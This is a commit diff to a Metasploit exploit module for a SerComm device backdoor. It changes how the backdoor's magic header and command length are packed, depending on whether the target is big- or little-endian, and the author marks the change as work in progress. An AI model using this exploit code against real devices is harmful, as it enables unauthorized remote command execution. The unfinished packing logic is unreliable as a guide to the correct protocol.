Have into account endianess

modules/exploits/linux/misc/sercomm_exec.rb

@@ -109,7 +109,13 @@ class Metasploit3 < Msf::Exploit::Remote
     # 0x53634d4d  => Backdoor code
     # 0x07        => Exec command
     # cmd_length  => Length of command to execute, sent after communication struct
-    data = [0x53634d4d, 0x07, cmd_length].pack("VVV")
+    # According to @mandreko, probably targets specifics must be had into account
+    # when dealing with the target endiangess... work in progress
+    if target.arch.include?(ARCH_MIPSBE)
+      data = [0x4d4d6353, 0x07, cmd_length].pack("NVV")
+    else
+      data = [0x4d4d6353, 0x07, cmd_length].pack("VNN")
+    end
 
     connect
     # Send command structure followed by command text